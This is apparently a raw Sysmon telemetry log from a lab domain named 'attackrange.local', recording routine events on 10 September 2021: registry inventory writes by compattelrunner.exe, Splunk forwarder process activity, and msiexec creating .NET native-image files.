14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\perl5.34.0.exe|163b76b108d3f013\Publisher(Empty) 13241300x800000000000000037291Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\perl5.34.0.exe|163b76b108d3f013\LowerCaseLongPathc:\program files\git\usr\bin\perl5.34.0.exe 13241300x800000000000000037290Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\perl.exe|196d1afec7915eef\BinProductVersion(Empty) 13241300x800000000000000037289Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\perl.exe|196d1afec7915eef\LinkDate01/01/1970 00:00:00 13241300x800000000000000037288Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\perl.exe|196d1afec7915eef\Publisher(Empty) 13241300x800000000000000037287Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\perl.exe|196d1afec7915eef\LowerCaseLongPathc:\program files\git\usr\bin\perl.exe 13241300x800000000000000037286Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pdftotext.exe|69d0d84ca547f7ea\BinProductVersion(Empty) 13241300x800000000000000037285Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pdftotext.exe|69d0d84ca547f7ea\LinkDate01/01/1970 00:00:00 13241300x800000000000000037284Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pdftotext.exe|69d0d84ca547f7ea\Publisher(Empty) 13241300x800000000000000037283Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pdftotext.exe|69d0d84ca547f7ea\LowerCaseLongPathc:\program files\git\mingw64\bin\pdftotext.exe 13241300x800000000000000037282Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pathchk.exe|815a4f847b55a65e\BinProductVersion(Empty) 13241300x800000000000000037281Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pathchk.exe|815a4f847b55a65e\LinkDate01/01/1970 00:00:00 13241300x800000000000000013430Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:42:16.366{625C326B-67EE-613B-1300-00000000F101}368C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\W32Time\Config\LastKnownGoodTimeQWORD (0x01d7a652-0x0cd7088c) 23542300x800000000000000013429Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:16.163{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FA7655FF3427BD03B0E5B27F8C122F45,SHA256=35FF24FCA329FE34A8A1C84C4B2A19BECFCB4288D225023D521B43B48DE35255,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000038105Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:17.855{7BD73061-6EC9-613B-1B07-00000000F001}49882128C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000038104Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:17.730{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\Q2MFXXO1IW\System.Web.ni.dll.auxMD5=83B0819F19853C14765B24B1AD811ABC,SHA256=24231188EFF9EBADA282616086E59934ECD0A180EACC8CBA3A623AE1026052BA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038103Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:17.714{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\Q2MFXXO1IW\System.Web.ni.dllMD5=5AD420742C2665182250F7D95FF74A76,SHA256=7A8D4B30B8FF51570A614F387F29715B80B2BBC4C7BB4213062AD17DDA698C4A,IMPHASH=00000000000000000000000000000000truetrue 10341000x800000000000000038102Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:17.667{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-6EC9-613B-1B07-00000000F001}4988C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038101Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:17.667{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038100Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:17.667{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038099Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:17.667{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038098Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:17.667{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038097Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:17.667{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6EC9-613B-1B07-00000000F001}4988C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038096Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:17.667{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-6EC9-613B-1B07-00000000F001}4988C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000038095Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:17.668{7BD73061-6EC9-613B-1B07-00000000F001}4988C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000013431Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:17.194{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C2F5C847D7CA7357596E54253CC36570,SHA256=01E03276F096A0E70636076E6745512084049408B0F85562CB6C4537891D3325,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038094Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:17.089{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\PYJA7OW6LL\System.Transactions.ni.dll.auxMD5=67EA7579FBE5D95C014B695402882EE0,SHA256=02A0F13F1E4E2882F3F1298FD9F09EDC0DF787CB503D2929A7536ABCE64D90FB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038093Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:17.089{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\PYJA7OW6LL\System.Transactions.ni.dllMD5=0111D3A2E533281DC6DD7C981CB8CAA1,SHA256=600DE357800878318E9B1C166BF9402EACA737CADBAB9ADCB7FDF8BBA6C67030,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038092Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:17.074{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\PL1HU7TT90\System.Numerics.ni.dll.auxMD5=D4AF447AE12A5806CB93B8D78E283140,SHA256=09DBF9D69C0FA8722ED60CCB128241D63E23DBAAC1AC0C3406136024ECC0EEC0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038091Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:16.917{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\PL1HU7TT90\System.Numerics.ni.dllMD5=5FF3E0606A26FD5CED8795E64BD23991,SHA256=3100FEDE83BB1EF84518D4DDF9344F0FA72E1797C5934D4BDC3C0473463C8693,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038090Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:16.808{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=80800CE14E1F44B7DC466330B1ABEE3D,SHA256=704F84D84E57912EE74E808412B5249D49E68BC151856D374BCF309524B9A542,IMPHASH=00000000000000000000000000000000falsetrue 13241300x800000000000000038089Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:16.167{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplication\00009f5f5dfd4a45c41ca3cc66cde00fdef500000904\PublisherAmazon Web Services Developer Relations 13241300x800000000000000038088Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:15.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\vc_redist.x64.ex|b72113d8ab25b2ea\BinProductVersion14.28.29913.0 13241300x800000000000000038087Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:15.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\vc_redist.x64.ex|b72113d8ab25b2ea\LinkDate11/18/2017 21:37:28 13241300x800000000000000038086Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\vc_redist.x64.ex|b72113d8ab25b2ea\Publishermicrosoft corporation 13241300x800000000000000038085Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:15.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\vc_redist.x64.ex|b72113d8ab25b2ea\LowerCaseLongPathc:\programdata\package cache\{855e31d2-9031-46e1-b06d-c9d7777deefb}\vc_redist.x64.exe 13241300x800000000000000038084Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplication\0000a0119b997e1ff1f405659fca10378fff0000ffff\PublisherMicrosoft Corporation 13241300x800000000000000038083Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:15.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\amazonssmagentse|7ad37428994638e7\BinProductVersion3.0.1181.0 13241300x800000000000000038082Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:15.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\amazonssmagentse|7ad37428994638e7\LinkDate05/01/2017 14:33:52 13241300x800000000000000038081Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\amazonssmagentse|7ad37428994638e7\Publisheramazon web services 13241300x800000000000000038080Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:15.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\amazonssmagentse|7ad37428994638e7\LowerCaseLongPathc:\programdata\package cache\{51cee651-095c-4e85-b3e4-59bbff234360}\amazonssmagentsetup.exe 13241300x800000000000000038079Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.339{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplication\0000baee2e2803b311fae39811010e5c0b180000ffff\PublisherAmazon Web Services 13241300x800000000000000038078Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:15.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\aws-cfn-bootstra|65c81b6df64de18d\BinProductVersion2.0.6.0 13241300x800000000000000038077Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:15.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\aws-cfn-bootstra|65c81b6df64de18d\LinkDate09/17/2019 05:33:38 13241300x800000000000000038076Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\aws-cfn-bootstra|65c81b6df64de18d\Publisheramazon web services 13241300x800000000000000038075Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:15.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\aws-cfn-bootstra|65c81b6df64de18d\LowerCaseLongPathc:\programdata\package cache\{09259595-ce26-4705-b47e-59d9e3ccebb9}\aws-cfn-bootstrap-bundle.exe 13241300x800000000000000038074Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplication\0000a32b64966830ad0100b29547ca5511020000ffff\PublisherAmazon Web Services 13241300x800000000000000038073Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplication\00000bc19da022eb94eca75a727b615c201e00000904\PublisherMicrosoft Corporation 13241300x800000000000000038072Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\srm.exe|928901d4ccf4225c\BinProductVersion(Empty) 13241300x800000000000000038071Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\srm.exe|928901d4ccf4225c\LinkDate01/10/2020 01:30:07 13241300x800000000000000038070Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\srm.exe|928901d4ccf4225c\Publisher(Empty) 13241300x800000000000000038069Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\srm.exe|928901d4ccf4225c\LowerCaseLongPathc:\program files\splunkuniversalforwarder\bin\srm.exe 13241300x800000000000000038068Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunkmonitornoh|e59d09056446ab10\BinProductVersion10.0.10011.16384 13241300x800000000000000038067Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunkmonitornoh|e59d09056446ab10\LinkDate10/02/2019 17:37:14 13241300x800000000000000038066Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunkmonitornoh|e59d09056446ab10\Publisherwindows (r) win 7 ddk provider 13241300x800000000000000038065Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunkmonitornoh|e59d09056446ab10\LowerCaseLongPathc:\program files\splunkuniversalforwarder\bin\splunkmonitornohandledrv.sys 13241300x800000000000000038064Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 